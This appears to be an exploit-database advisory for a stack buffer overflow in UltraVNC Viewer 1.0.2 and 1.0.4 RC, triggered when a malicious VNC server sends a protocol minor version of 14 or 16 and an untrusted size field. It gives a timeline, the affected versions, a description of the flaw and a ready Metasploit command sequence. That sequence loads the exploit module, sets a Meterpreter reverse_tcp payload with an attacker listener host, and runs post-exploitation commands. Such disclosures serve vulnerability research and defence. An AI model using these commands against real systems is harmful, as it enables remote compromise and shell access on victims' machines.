Timeline :
Vulnerability reported by the vendor the 2008-02-08
Metasploit PoC provided the 2012-03-26
PoC provided by :
noperand
Reference(s) :
Affected version(s) :
UltraVNC Viewer 1.0.2 and 1.0.4 RC
Tested on Windows XP Pro SP3 with :
UltraVNC Viewer 1.0.2
Description :
This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release. If a malicious server responds to a client connection indicating a minor protocol version of 14 or 16, a 32-bit integer is subsequently read from the TCP stream by the client and directly provided as the trusted size for further reading from the TCP stream into a 1024-byte character array on the stack.
Commands :
use exploit/windows/vnc/ultravnc_viewer_bof SET SRVHOST 192.168.178.100 SET PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.178.100 exploit sysinfo getuid